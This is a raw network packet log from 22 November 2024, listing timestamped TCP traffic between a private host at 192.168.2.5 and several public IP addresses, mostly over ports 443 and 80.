Nov 22, 2024 00:11:35.480726957 CET	443	49743	13.107.246.63	192.168.2.5
Nov 22, 2024 00:11:35.481662989 CET	49743	443	192.168.2.5	13.107.246.63
Nov 22, 2024 00:11:35.481668949 CET	443	49743	13.107.246.63	192.168.2.5
Nov 22, 2024 00:11:35.576760054 CET	80	49753	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:35.913113117 CET	443	49746	23.218.208.109	192.168.2.5
Nov 22, 2024 00:11:35.913201094 CET	49746	443	192.168.2.5	23.218.208.109
Nov 22, 2024 00:11:35.918092012 CET	49746	443	192.168.2.5	23.218.208.109
Nov 22, 2024 00:11:35.918118954 CET	443	49746	23.218.208.109	192.168.2.5
Nov 22, 2024 00:11:35.918431997 CET	443	49746	23.218.208.109	192.168.2.5
Nov 22, 2024 00:11:35.956212997 CET	443	49743	13.107.246.63	192.168.2.5
Nov 22, 2024 00:11:35.956278086 CET	443	49743	13.107.246.63	192.168.2.5
Nov 22, 2024 00:11:35.956331968 CET	49743	443	192.168.2.5	13.107.246.63
Nov 22, 2024 00:11:35.962533951 CET	49743	443	192.168.2.5	13.107.246.63
Nov 22, 2024 00:11:35.962533951 CET	49743	443	192.168.2.5	13.107.246.63
Nov 22, 2024 00:11:35.962554932 CET	443	49743	13.107.246.63	192.168.2.5
Nov 22, 2024 00:11:35.962563992 CET	443	49743	13.107.246.63	192.168.2.5
Nov 22, 2024 00:11:35.972268105 CET	49746	443	192.168.2.5	23.218.208.109
Nov 22, 2024 00:11:35.977678061 CET	49757	443	192.168.2.5	13.107.246.63
Nov 22, 2024 00:11:35.977705002 CET	443	49757	13.107.246.63	192.168.2.5
Nov 22, 2024 00:11:35.977767944 CET	49757	443	192.168.2.5	13.107.246.63
Nov 22, 2024 00:11:35.978637934 CET	49757	443	192.168.2.5	13.107.246.63
Nov 22, 2024 00:11:35.978665113 CET	443	49757	13.107.246.63	192.168.2.5
Nov 22, 2024 00:11:35.987118959 CET	49730	443	192.168.2.5	172.202.163.200
Nov 22, 2024 00:11:35.987133980 CET	443	49730	172.202.163.200	192.168.2.5
Nov 22, 2024 00:11:35.987202883 CET	49730	443	192.168.2.5	172.202.163.200
Nov 22, 2024 00:11:35.987222910 CET	443	49730	172.202.163.200	192.168.2.5
Nov 22, 2024 00:11:35.994402885 CET	49746	443	192.168.2.5	23.218.208.109
Nov 22, 2024 00:11:36.039335012 CET	443	49746	23.218.208.109	192.168.2.5
Nov 22, 2024 00:11:36.144231081 CET	443	49748	13.107.246.63	192.168.2.5
Nov 22, 2024 00:11:36.145401955 CET	49748	443	192.168.2.5	13.107.246.63
Nov 22, 2024 00:11:36.145411015 CET	443	49748	13.107.246.63	192.168.2.5
Nov 22, 2024 00:11:36.147970915 CET	49748	443	192.168.2.5	13.107.246.63
Nov 22, 2024 00:11:36.147979975 CET	443	49748	13.107.246.63	192.168.2.5
Nov 22, 2024 00:11:36.171848059 CET	443	49745	13.107.246.63	192.168.2.5
Nov 22, 2024 00:11:36.172367096 CET	49745	443	192.168.2.5	13.107.246.63
Nov 22, 2024 00:11:36.172390938 CET	443	49745	13.107.246.63	192.168.2.5
Nov 22, 2024 00:11:36.172847986 CET	49745	443	192.168.2.5	13.107.246.63
Nov 22, 2024 00:11:36.172856092 CET	443	49745	13.107.246.63	192.168.2.5
Nov 22, 2024 00:11:36.227442026 CET	443	49747	13.107.246.63	192.168.2.5
Nov 22, 2024 00:11:36.228044033 CET	49747	443	192.168.2.5	13.107.246.63
Nov 22, 2024 00:11:36.228074074 CET	443	49747	13.107.246.63	192.168.2.5
Nov 22, 2024 00:11:36.229094982 CET	49747	443	192.168.2.5	13.107.246.63
Nov 22, 2024 00:11:36.229103088 CET	443	49747	13.107.246.63	192.168.2.5
Nov 22, 2024 00:11:36.448959112 CET	443	49746	23.218.208.109	192.168.2.5
Nov 22, 2024 00:11:36.449044943 CET	443	49746	23.218.208.109	192.168.2.5
Nov 22, 2024 00:11:36.449126959 CET	49746	443	192.168.2.5	23.218.208.109
Nov 22, 2024 00:11:36.449245930 CET	49746	443	192.168.2.5	23.218.208.109
Nov 22, 2024 00:11:36.449295044 CET	443	49746	23.218.208.109	192.168.2.5
Nov 22, 2024 00:11:36.449323893 CET	49746	443	192.168.2.5	23.218.208.109
Nov 22, 2024 00:11:36.449342012 CET	443	49746	23.218.208.109	192.168.2.5
Nov 22, 2024 00:11:36.484826088 CET	443	49749	13.107.246.63	192.168.2.5
Nov 22, 2024 00:11:36.485384941 CET	49749	443	192.168.2.5	13.107.246.63
Nov 22, 2024 00:11:36.485399008 CET	443	49749	13.107.246.63	192.168.2.5
Nov 22, 2024 00:11:36.486007929 CET	49749	443	192.168.2.5	13.107.246.63
Nov 22, 2024 00:11:36.486026049 CET	443	49749	13.107.246.63	192.168.2.5
Nov 22, 2024 00:11:36.493573904 CET	49759	443	192.168.2.5	23.218.208.109
Nov 22, 2024 00:11:36.493609905 CET	443	49759	23.218.208.109	192.168.2.5
Nov 22, 2024 00:11:36.493978977 CET	49759	443	192.168.2.5	23.218.208.109
Nov 22, 2024 00:11:36.494385004 CET	49759	443	192.168.2.5	23.218.208.109
Nov 22, 2024 00:11:36.494399071 CET	443	49759	23.218.208.109	192.168.2.5
Nov 22, 2024 00:11:36.535847902 CET	49761	443	192.168.2.5	142.250.181.110
Nov 22, 2024 00:11:36.535890102 CET	443	49761	142.250.181.110	192.168.2.5
Nov 22, 2024 00:11:36.536206007 CET	49761	443	192.168.2.5	142.250.181.110
Nov 22, 2024 00:11:36.536355019 CET	49761	443	192.168.2.5	142.250.181.110
Nov 22, 2024 00:11:36.536372900 CET	443	49761	142.250.181.110	192.168.2.5
Nov 22, 2024 00:11:36.581371069 CET	443	49748	13.107.246.63	192.168.2.5
Nov 22, 2024 00:11:36.581561089 CET	443	49748	13.107.246.63	192.168.2.5
Nov 22, 2024 00:11:36.581777096 CET	49748	443	192.168.2.5	13.107.246.63
Nov 22, 2024 00:11:36.581862926 CET	49748	443	192.168.2.5	13.107.246.63
Nov 22, 2024 00:11:36.581885099 CET	443	49748	13.107.246.63	192.168.2.5
Nov 22, 2024 00:11:36.581895113 CET	49748	443	192.168.2.5	13.107.246.63
Nov 22, 2024 00:11:36.581901073 CET	443	49748	13.107.246.63	192.168.2.5
Nov 22, 2024 00:11:36.585287094 CET	49762	443	192.168.2.5	13.107.246.63
Nov 22, 2024 00:11:36.585315943 CET	443	49762	13.107.246.63	192.168.2.5
Nov 22, 2024 00:11:36.585395098 CET	49762	443	192.168.2.5	13.107.246.63
Nov 22, 2024 00:11:36.585628033 CET	49762	443	192.168.2.5	13.107.246.63
Nov 22, 2024 00:11:36.585638046 CET	443	49762	13.107.246.63	192.168.2.5
Nov 22, 2024 00:11:36.629441977 CET	443	49745	13.107.246.63	192.168.2.5
Nov 22, 2024 00:11:36.629491091 CET	443	49745	13.107.246.63	192.168.2.5
Nov 22, 2024 00:11:36.629618883 CET	49745	443	192.168.2.5	13.107.246.63
Nov 22, 2024 00:11:36.629848003 CET	49745	443	192.168.2.5	13.107.246.63
Nov 22, 2024 00:11:36.629865885 CET	443	49745	13.107.246.63	192.168.2.5
Nov 22, 2024 00:11:36.629887104 CET	49745	443	192.168.2.5	13.107.246.63
Nov 22, 2024 00:11:36.629894972 CET	443	49745	13.107.246.63	192.168.2.5
Nov 22, 2024 00:11:36.633023977 CET	49763	443	192.168.2.5	13.107.246.63
Nov 22, 2024 00:11:36.633049011 CET	443	49763	13.107.246.63	192.168.2.5
Nov 22, 2024 00:11:36.633338928 CET	49763	443	192.168.2.5	13.107.246.63
Nov 22, 2024 00:11:36.633487940 CET	49763	443	192.168.2.5	13.107.246.63
Nov 22, 2024 00:11:36.633502960 CET	443	49763	13.107.246.63	192.168.2.5
Nov 22, 2024 00:11:36.684464931 CET	443	49747	13.107.246.63	192.168.2.5
Nov 22, 2024 00:11:36.684530020 CET	443	49747	13.107.246.63	192.168.2.5
Nov 22, 2024 00:11:36.684604883 CET	49747	443	192.168.2.5	13.107.246.63
Nov 22, 2024 00:11:36.684922934 CET	49747	443	192.168.2.5	13.107.246.63
Nov 22, 2024 00:11:36.684922934 CET	49747	443	192.168.2.5	13.107.246.63
Nov 22, 2024 00:11:36.684938908 CET	443	49747	13.107.246.63	192.168.2.5
Nov 22, 2024 00:11:36.684950113 CET	443	49747	13.107.246.63	192.168.2.5
Nov 22, 2024 00:11:36.691283941 CET	49764	443	192.168.2.5	13.107.246.63
Nov 22, 2024 00:11:36.691324949 CET	443	49764	13.107.246.63	192.168.2.5
Nov 22, 2024 00:11:36.691689014 CET	49764	443	192.168.2.5	13.107.246.63
Nov 22, 2024 00:11:36.692785978 CET	49764	443	192.168.2.5	13.107.246.63
Nov 22, 2024 00:11:36.692804098 CET	443	49764	13.107.246.63	192.168.2.5
Nov 22, 2024 00:11:36.949403048 CET	443	49749	13.107.246.63	192.168.2.5
Nov 22, 2024 00:11:36.949594975 CET	443	49749	13.107.246.63	192.168.2.5
Nov 22, 2024 00:11:36.949764967 CET	49749	443	192.168.2.5	13.107.246.63
Nov 22, 2024 00:11:36.957127094 CET	49749	443	192.168.2.5	13.107.246.63
Nov 22, 2024 00:11:36.957148075 CET	443	49749	13.107.246.63	192.168.2.5
Nov 22, 2024 00:11:36.957163095 CET	49749	443	192.168.2.5	13.107.246.63
Nov 22, 2024 00:11:36.957171917 CET	443	49749	13.107.246.63	192.168.2.5
Nov 22, 2024 00:11:36.960484028 CET	49765	443	192.168.2.5	13.107.246.63
Nov 22, 2024 00:11:36.960517883 CET	443	49765	13.107.246.63	192.168.2.5
Nov 22, 2024 00:11:36.960692883 CET	49765	443	192.168.2.5	13.107.246.63
Nov 22, 2024 00:11:36.961064100 CET	49765	443	192.168.2.5	13.107.246.63
Nov 22, 2024 00:11:36.961081028 CET	443	49765	13.107.246.63	192.168.2.5
Nov 22, 2024 00:11:37.439009905 CET	80	49753	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:37.439167023 CET	49753	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:37.585644960 CET	49753	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:37.633292913 CET	49742	443	192.168.2.5	172.217.21.36
Nov 22, 2024 00:11:37.633296967 CET	49761	443	192.168.2.5	142.250.181.110
Nov 22, 2024 00:11:37.705985069 CET	80	49753	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:37.815260887 CET	443	49757	13.107.246.63	192.168.2.5
Nov 22, 2024 00:11:37.816344976 CET	49757	443	192.168.2.5	13.107.246.63
Nov 22, 2024 00:11:37.816375017 CET	443	49757	13.107.246.63	192.168.2.5
Nov 22, 2024 00:11:37.816890001 CET	49757	443	192.168.2.5	13.107.246.63
Nov 22, 2024 00:11:37.816895962 CET	443	49757	13.107.246.63	192.168.2.5
Nov 22, 2024 00:11:37.916019917 CET	443	49759	23.218.208.109	192.168.2.5
Nov 22, 2024 00:11:37.916112900 CET	49759	443	192.168.2.5	23.218.208.109
Nov 22, 2024 00:11:37.930324078 CET	49759	443	192.168.2.5	23.218.208.109
Nov 22, 2024 00:11:37.930341005 CET	443	49759	23.218.208.109	192.168.2.5
Nov 22, 2024 00:11:37.930761099 CET	443	49759	23.218.208.109	192.168.2.5
Nov 22, 2024 00:11:37.937110901 CET	49759	443	192.168.2.5	23.218.208.109
Nov 22, 2024 00:11:37.979340076 CET	443	49759	23.218.208.109	192.168.2.5
Nov 22, 2024 00:11:38.262027979 CET	443	49757	13.107.246.63	192.168.2.5
Nov 22, 2024 00:11:38.262111902 CET	443	49757	13.107.246.63	192.168.2.5
Nov 22, 2024 00:11:38.262168884 CET	49757	443	192.168.2.5	13.107.246.63
Nov 22, 2024 00:11:38.262402058 CET	49757	443	192.168.2.5	13.107.246.63
Nov 22, 2024 00:11:38.262418985 CET	443	49757	13.107.246.63	192.168.2.5
Nov 22, 2024 00:11:38.262451887 CET	49757	443	192.168.2.5	13.107.246.63
Nov 22, 2024 00:11:38.262459993 CET	443	49757	13.107.246.63	192.168.2.5
Nov 22, 2024 00:11:38.265659094 CET	49767	443	192.168.2.5	13.107.246.63
Nov 22, 2024 00:11:38.265690088 CET	443	49767	13.107.246.63	192.168.2.5
Nov 22, 2024 00:11:38.265819073 CET	49767	443	192.168.2.5	13.107.246.63
Nov 22, 2024 00:11:38.265949965 CET	49767	443	192.168.2.5	13.107.246.63
Nov 22, 2024 00:11:38.265964985 CET	443	49767	13.107.246.63	192.168.2.5
Nov 22, 2024 00:11:38.361869097 CET	443	49762	13.107.246.63	192.168.2.5
Nov 22, 2024 00:11:38.362387896 CET	49762	443	192.168.2.5	13.107.246.63
Nov 22, 2024 00:11:38.362406969 CET	443	49762	13.107.246.63	192.168.2.5
Nov 22, 2024 00:11:38.364974022 CET	49762	443	192.168.2.5	13.107.246.63
Nov 22, 2024 00:11:38.364979982 CET	443	49762	13.107.246.63	192.168.2.5
Nov 22, 2024 00:11:38.414738894 CET	443	49763	13.107.246.63	192.168.2.5
Nov 22, 2024 00:11:38.415760994 CET	49763	443	192.168.2.5	13.107.246.63
Nov 22, 2024 00:11:38.415761948 CET	49763	443	192.168.2.5	13.107.246.63
Nov 22, 2024 00:11:38.415771961 CET	443	49763	13.107.246.63	192.168.2.5
Nov 22, 2024 00:11:38.415786028 CET	443	49763	13.107.246.63	192.168.2.5
Nov 22, 2024 00:11:38.433907032 CET	443	49759	23.218.208.109	192.168.2.5
Nov 22, 2024 00:11:38.433984995 CET	443	49759	23.218.208.109	192.168.2.5
Nov 22, 2024 00:11:38.434254885 CET	49759	443	192.168.2.5	23.218.208.109
Nov 22, 2024 00:11:38.434859991 CET	49759	443	192.168.2.5	23.218.208.109
Nov 22, 2024 00:11:38.434878111 CET	443	49759	23.218.208.109	192.168.2.5
Nov 22, 2024 00:11:38.434912920 CET	49759	443	192.168.2.5	23.218.208.109
Nov 22, 2024 00:11:38.434919119 CET	443	49759	23.218.208.109	192.168.2.5
Nov 22, 2024 00:11:38.478147984 CET	443	49764	13.107.246.63	192.168.2.5
Nov 22, 2024 00:11:38.479274035 CET	49764	443	192.168.2.5	13.107.246.63
Nov 22, 2024 00:11:38.479274035 CET	49764	443	192.168.2.5	13.107.246.63
Nov 22, 2024 00:11:38.479295969 CET	443	49764	13.107.246.63	192.168.2.5
Nov 22, 2024 00:11:38.479300022 CET	443	49764	13.107.246.63	192.168.2.5
Nov 22, 2024 00:11:38.540555000 CET	80	49753	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:38.540704966 CET	49753	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:38.801343918 CET	443	49765	13.107.246.63	192.168.2.5
Nov 22, 2024 00:11:38.802268982 CET	49765	443	192.168.2.5	13.107.246.63
Nov 22, 2024 00:11:38.802280903 CET	443	49765	13.107.246.63	192.168.2.5
Nov 22, 2024 00:11:38.804414988 CET	49765	443	192.168.2.5	13.107.246.63
Nov 22, 2024 00:11:38.804419994 CET	443	49765	13.107.246.63	192.168.2.5
Nov 22, 2024 00:11:38.805773973 CET	443	49762	13.107.246.63	192.168.2.5
Nov 22, 2024 00:11:38.805847883 CET	443	49762	13.107.246.63	192.168.2.5
Nov 22, 2024 00:11:38.806034088 CET	49762	443	192.168.2.5	13.107.246.63
Nov 22, 2024 00:11:38.806204081 CET	49762	443	192.168.2.5	13.107.246.63
Nov 22, 2024 00:11:38.806204081 CET	49762	443	192.168.2.5	13.107.246.63
Nov 22, 2024 00:11:38.806221008 CET	443	49762	13.107.246.63	192.168.2.5
Nov 22, 2024 00:11:38.806231022 CET	443	49762	13.107.246.63	192.168.2.5
Nov 22, 2024 00:11:38.810127020 CET	49768	443	192.168.2.5	13.107.246.63
Nov 22, 2024 00:11:38.810172081 CET	443	49768	13.107.246.63	192.168.2.5
Nov 22, 2024 00:11:38.810457945 CET	49768	443	192.168.2.5	13.107.246.63
Nov 22, 2024 00:11:38.810508966 CET	49768	443	192.168.2.5	13.107.246.63
Nov 22, 2024 00:11:38.810514927 CET	443	49768	13.107.246.63	192.168.2.5
Nov 22, 2024 00:11:38.880913019 CET	443	49763	13.107.246.63	192.168.2.5
Nov 22, 2024 00:11:38.880995035 CET	443	49763	13.107.246.63	192.168.2.5
Nov 22, 2024 00:11:38.881417990 CET	49763	443	192.168.2.5	13.107.246.63
Nov 22, 2024 00:11:38.881644011 CET	49763	443	192.168.2.5	13.107.246.63
Nov 22, 2024 00:11:38.881644011 CET	49763	443	192.168.2.5	13.107.246.63
Nov 22, 2024 00:11:38.881658077 CET	443	49763	13.107.246.63	192.168.2.5
Nov 22, 2024 00:11:38.881668091 CET	443	49763	13.107.246.63	192.168.2.5
Nov 22, 2024 00:11:38.885159969 CET	49769	443	192.168.2.5	13.107.246.63
Nov 22, 2024 00:11:38.885229111 CET	443	49769	13.107.246.63	192.168.2.5
Nov 22, 2024 00:11:38.885318995 CET	49769	443	192.168.2.5	13.107.246.63
Nov 22, 2024 00:11:38.885489941 CET	49769	443	192.168.2.5	13.107.246.63
Nov 22, 2024 00:11:38.885508060 CET	443	49769	13.107.246.63	192.168.2.5
Nov 22, 2024 00:11:38.921977997 CET	443	49764	13.107.246.63	192.168.2.5
Nov 22, 2024 00:11:38.922044992 CET	443	49764	13.107.246.63	192.168.2.5
Nov 22, 2024 00:11:38.925729036 CET	49764	443	192.168.2.5	13.107.246.63
Nov 22, 2024 00:11:38.925997019 CET	49764	443	192.168.2.5	13.107.246.63
Nov 22, 2024 00:11:38.925997019 CET	49764	443	192.168.2.5	13.107.246.63
Nov 22, 2024 00:11:38.926043987 CET	443	49764	13.107.246.63	192.168.2.5
Nov 22, 2024 00:11:38.926057100 CET	443	49764	13.107.246.63	192.168.2.5
Nov 22, 2024 00:11:38.929508924 CET	49770	443	192.168.2.5	13.107.246.63
Nov 22, 2024 00:11:38.929550886 CET	443	49770	13.107.246.63	192.168.2.5
Nov 22, 2024 00:11:38.929915905 CET	49770	443	192.168.2.5	13.107.246.63
Nov 22, 2024 00:11:38.929915905 CET	49770	443	192.168.2.5	13.107.246.63
Nov 22, 2024 00:11:38.929949999 CET	443	49770	13.107.246.63	192.168.2.5
Nov 22, 2024 00:11:39.257301092 CET	443	49765	13.107.246.63	192.168.2.5
Nov 22, 2024 00:11:39.257364035 CET	443	49765	13.107.246.63	192.168.2.5
Nov 22, 2024 00:11:39.257482052 CET	49765	443	192.168.2.5	13.107.246.63
Nov 22, 2024 00:11:39.257781982 CET	49765	443	192.168.2.5	13.107.246.63
Nov 22, 2024 00:11:39.257781982 CET	49765	443	192.168.2.5	13.107.246.63
Nov 22, 2024 00:11:39.257797003 CET	443	49765	13.107.246.63	192.168.2.5
Nov 22, 2024 00:11:39.257805109 CET	443	49765	13.107.246.63	192.168.2.5
Nov 22, 2024 00:11:39.261971951 CET	49771	443	192.168.2.5	13.107.246.63
Nov 22, 2024 00:11:39.262082100 CET	443	49771	13.107.246.63	192.168.2.5
Nov 22, 2024 00:11:39.262217999 CET	49771	443	192.168.2.5	13.107.246.63
Nov 22, 2024 00:11:39.262485027 CET	49771	443	192.168.2.5	13.107.246.63
Nov 22, 2024 00:11:39.262533903 CET	443	49771	13.107.246.63	192.168.2.5
Nov 22, 2024 00:11:40.136841059 CET	443	49767	13.107.246.63	192.168.2.5
Nov 22, 2024 00:11:40.190768003 CET	49767	443	192.168.2.5	13.107.246.63
Nov 22, 2024 00:11:40.248658895 CET	49767	443	192.168.2.5	13.107.246.63
Nov 22, 2024 00:11:40.248666048 CET	443	49767	13.107.246.63	192.168.2.5
Nov 22, 2024 00:11:40.249514103 CET	49767	443	192.168.2.5	13.107.246.63
Nov 22, 2024 00:11:40.249519110 CET	443	49767	13.107.246.63	192.168.2.5
Nov 22, 2024 00:11:40.586596012 CET	443	49768	13.107.246.63	192.168.2.5
Nov 22, 2024 00:11:40.594005108 CET	443	49767	13.107.246.63	192.168.2.5
Nov 22, 2024 00:11:40.594070911 CET	443	49767	13.107.246.63	192.168.2.5
Nov 22, 2024 00:11:40.594260931 CET	49767	443	192.168.2.5	13.107.246.63
Nov 22, 2024 00:11:40.628293037 CET	49768	443	192.168.2.5	13.107.246.63
Nov 22, 2024 00:11:40.646842957 CET	49768	443	192.168.2.5	13.107.246.63
Nov 22, 2024 00:11:40.646863937 CET	443	49768	13.107.246.63	192.168.2.5
Nov 22, 2024 00:11:40.647202969 CET	49767	443	192.168.2.5	13.107.246.63
Nov 22, 2024 00:11:40.647218943 CET	443	49767	13.107.246.63	192.168.2.5
Nov 22, 2024 00:11:40.647278070 CET	49767	443	192.168.2.5	13.107.246.63
Nov 22, 2024 00:11:40.647284031 CET	443	49767	13.107.246.63	192.168.2.5
Nov 22, 2024 00:11:40.647469997 CET	49768	443	192.168.2.5	13.107.246.63
Nov 22, 2024 00:11:40.647475958 CET	443	49768	13.107.246.63	192.168.2.5
Nov 22, 2024 00:11:40.679207087 CET	443	49769	13.107.246.63	192.168.2.5
Nov 22, 2024 00:11:40.711457014 CET	443	49770	13.107.246.63	192.168.2.5
Nov 22, 2024 00:11:40.720774889 CET	49769	443	192.168.2.5	13.107.246.63
Nov 22, 2024 00:11:40.720815897 CET	443	49769	13.107.246.63	192.168.2.5
Nov 22, 2024 00:11:40.721575975 CET	49769	443	192.168.2.5	13.107.246.63
Nov 22, 2024 00:11:40.721582890 CET	443	49769	13.107.246.63	192.168.2.5
Nov 22, 2024 00:11:40.729398012 CET	49770	443	192.168.2.5	13.107.246.63
Nov 22, 2024 00:11:40.729398012 CET	49770	443	192.168.2.5	13.107.246.63
Nov 22, 2024 00:11:40.729423046 CET	443	49770	13.107.246.63	192.168.2.5
Nov 22, 2024 00:11:40.729444027 CET	443	49770	13.107.246.63	192.168.2.5
Nov 22, 2024 00:11:40.784003973 CET	49772	443	192.168.2.5	13.107.246.63
Nov 22, 2024 00:11:40.784065962 CET	443	49772	13.107.246.63	192.168.2.5
Nov 22, 2024 00:11:40.784154892 CET	49772	443	192.168.2.5	13.107.246.63
Nov 22, 2024 00:11:40.815475941 CET	49772	443	192.168.2.5	13.107.246.63
Nov 22, 2024 00:11:40.815501928 CET	443	49772	13.107.246.63	192.168.2.5
Nov 22, 2024 00:11:41.023806095 CET	443	49768	13.107.246.63	192.168.2.5
Nov 22, 2024 00:11:41.023878098 CET	443	49768	13.107.246.63	192.168.2.5
Nov 22, 2024 00:11:41.023940086 CET	49768	443	192.168.2.5	13.107.246.63
Nov 22, 2024 00:11:41.055573940 CET	443	49771	13.107.246.63	192.168.2.5
Nov 22, 2024 00:11:41.119235039 CET	49771	443	192.168.2.5	13.107.246.63
Nov 22, 2024 00:11:41.123125076 CET	443	49769	13.107.246.63	192.168.2.5
Nov 22, 2024 00:11:41.123218060 CET	443	49769	13.107.246.63	192.168.2.5
Nov 22, 2024 00:11:41.123334885 CET	49769	443	192.168.2.5	13.107.246.63
Nov 22, 2024 00:11:41.155782938 CET	443	49770	13.107.246.63	192.168.2.5
Nov 22, 2024 00:11:41.155853987 CET	443	49770	13.107.246.63	192.168.2.5
Nov 22, 2024 00:11:41.156018972 CET	49770	443	192.168.2.5	13.107.246.63
Nov 22, 2024 00:11:41.417205095 CET	49768	443	192.168.2.5	13.107.246.63
Nov 22, 2024 00:11:41.417238951 CET	443	49768	13.107.246.63	192.168.2.5
Nov 22, 2024 00:11:41.419128895 CET	49770	443	192.168.2.5	13.107.246.63
Nov 22, 2024 00:11:41.419138908 CET	443	49770	13.107.246.63	192.168.2.5
Nov 22, 2024 00:11:41.419147968 CET	49770	443	192.168.2.5	13.107.246.63
Nov 22, 2024 00:11:41.419154882 CET	443	49770	13.107.246.63	192.168.2.5
Nov 22, 2024 00:11:41.445223093 CET	49771	443	192.168.2.5	13.107.246.63
Nov 22, 2024 00:11:41.445266962 CET	443	49771	13.107.246.63	192.168.2.5
Nov 22, 2024 00:11:41.445518970 CET	49769	443	192.168.2.5	13.107.246.63
Nov 22, 2024 00:11:41.445548058 CET	443	49769	13.107.246.63	192.168.2.5
Nov 22, 2024 00:11:41.445563078 CET	49769	443	192.168.2.5	13.107.246.63
Nov 22, 2024 00:11:41.445570946 CET	443	49769	13.107.246.63	192.168.2.5
Nov 22, 2024 00:11:41.445868969 CET	49771	443	192.168.2.5	13.107.246.63
Nov 22, 2024 00:11:41.445877075 CET	443	49771	13.107.246.63	192.168.2.5
Nov 22, 2024 00:11:41.769733906 CET	443	49771	13.107.246.63	192.168.2.5
Nov 22, 2024 00:11:41.769829035 CET	443	49771	13.107.246.63	192.168.2.5
Nov 22, 2024 00:11:41.769896030 CET	49771	443	192.168.2.5	13.107.246.63
Nov 22, 2024 00:11:41.818829060 CET	49771	443	192.168.2.5	13.107.246.63
Nov 22, 2024 00:11:41.818871021 CET	443	49771	13.107.246.63	192.168.2.5
Nov 22, 2024 00:11:41.818886995 CET	49771	443	192.168.2.5	13.107.246.63
Nov 22, 2024 00:11:41.818895102 CET	443	49771	13.107.246.63	192.168.2.5
Nov 22, 2024 00:11:42.107884884 CET	49779	443	192.168.2.5	13.107.246.63
Nov 22, 2024 00:11:42.107928991 CET	443	49779	13.107.246.63	192.168.2.5
Nov 22, 2024 00:11:42.108000040 CET	49779	443	192.168.2.5	13.107.246.63
Nov 22, 2024 00:11:42.109846115 CET	49780	443	192.168.2.5	13.107.246.63
Nov 22, 2024 00:11:42.109946012 CET	443	49780	13.107.246.63	192.168.2.5
Nov 22, 2024 00:11:42.110027075 CET	49780	443	192.168.2.5	13.107.246.63
Nov 22, 2024 00:11:42.555361986 CET	49781	443	192.168.2.5	13.107.246.63
Nov 22, 2024 00:11:42.555407047 CET	443	49781	13.107.246.63	192.168.2.5
Nov 22, 2024 00:11:42.555484056 CET	49781	443	192.168.2.5	13.107.246.63
Nov 22, 2024 00:11:42.588854074 CET	49779	443	192.168.2.5	13.107.246.63
Nov 22, 2024 00:11:42.588871002 CET	443	49779	13.107.246.63	192.168.2.5
Nov 22, 2024 00:11:42.589240074 CET	49780	443	192.168.2.5	13.107.246.63
Nov 22, 2024 00:11:42.589262962 CET	443	49780	13.107.246.63	192.168.2.5
Nov 22, 2024 00:11:42.609988928 CET	49782	443	192.168.2.5	94.245.104.56
Nov 22, 2024 00:11:42.610023022 CET	443	49782	94.245.104.56	192.168.2.5
Nov 22, 2024 00:11:42.610167027 CET	49782	443	192.168.2.5	94.245.104.56
Nov 22, 2024 00:11:42.610462904 CET	49782	443	192.168.2.5	94.245.104.56
Nov 22, 2024 00:11:42.610479116 CET	443	49782	94.245.104.56	192.168.2.5
Nov 22, 2024 00:11:42.623680115 CET	49781	443	192.168.2.5	13.107.246.63
Nov 22, 2024 00:11:42.623706102 CET	443	49781	13.107.246.63	192.168.2.5
Nov 22, 2024 00:11:42.625653982 CET	49783	443	192.168.2.5	13.107.246.63
Nov 22, 2024 00:11:42.625688076 CET	443	49783	13.107.246.63	192.168.2.5
Nov 22, 2024 00:11:42.625907898 CET	49783	443	192.168.2.5	13.107.246.63
Nov 22, 2024 00:11:42.626169920 CET	49783	443	192.168.2.5	13.107.246.63
Nov 22, 2024 00:11:42.626188993 CET	443	49783	13.107.246.63	192.168.2.5
Nov 22, 2024 00:11:42.662947893 CET	443	49772	13.107.246.63	192.168.2.5
Nov 22, 2024 00:11:42.806965113 CET	49772	443	192.168.2.5	13.107.246.63
Nov 22, 2024 00:11:42.806997061 CET	443	49772	13.107.246.63	192.168.2.5
Nov 22, 2024 00:11:42.807672024 CET	49772	443	192.168.2.5	13.107.246.63
Nov 22, 2024 00:11:42.807679892 CET	443	49772	13.107.246.63	192.168.2.5
Nov 22, 2024 00:11:43.143068075 CET	443	49772	13.107.246.63	192.168.2.5
Nov 22, 2024 00:11:43.143136024 CET	443	49772	13.107.246.63	192.168.2.5
Nov 22, 2024 00:11:43.143220901 CET	49772	443	192.168.2.5	13.107.246.63
Nov 22, 2024 00:11:43.234040976 CET	49772	443	192.168.2.5	13.107.246.63
Nov 22, 2024 00:11:43.234067917 CET	443	49772	13.107.246.63	192.168.2.5
Nov 22, 2024 00:11:43.234080076 CET	49772	443	192.168.2.5	13.107.246.63
Nov 22, 2024 00:11:43.234086990 CET	443	49772	13.107.246.63	192.168.2.5
Nov 22, 2024 00:11:43.545481920 CET	80	49753	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:43.545556068 CET	49753	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:43.816349030 CET	49785	443	192.168.2.5	13.107.246.63
Nov 22, 2024 00:11:43.816404104 CET	443	49785	13.107.246.63	192.168.2.5
Nov 22, 2024 00:11:43.816462994 CET	49785	443	192.168.2.5	13.107.246.63
Nov 22, 2024 00:11:43.865371943 CET	49785	443	192.168.2.5	13.107.246.63
Nov 22, 2024 00:11:43.865395069 CET	443	49785	13.107.246.63	192.168.2.5
Nov 22, 2024 00:11:44.225893021 CET	49753	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:44.226286888 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:44.348289013 CET	80	49753	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:44.348337889 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:44.348409891 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:44.348862886 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:44.378865957 CET	443	49780	13.107.246.63	192.168.2.5
Nov 22, 2024 00:11:44.384699106 CET	49780	443	192.168.2.5	13.107.246.63
Nov 22, 2024 00:11:44.384726048 CET	443	49780	13.107.246.63	192.168.2.5
Nov 22, 2024 00:11:44.386077881 CET	49780	443	192.168.2.5	13.107.246.63
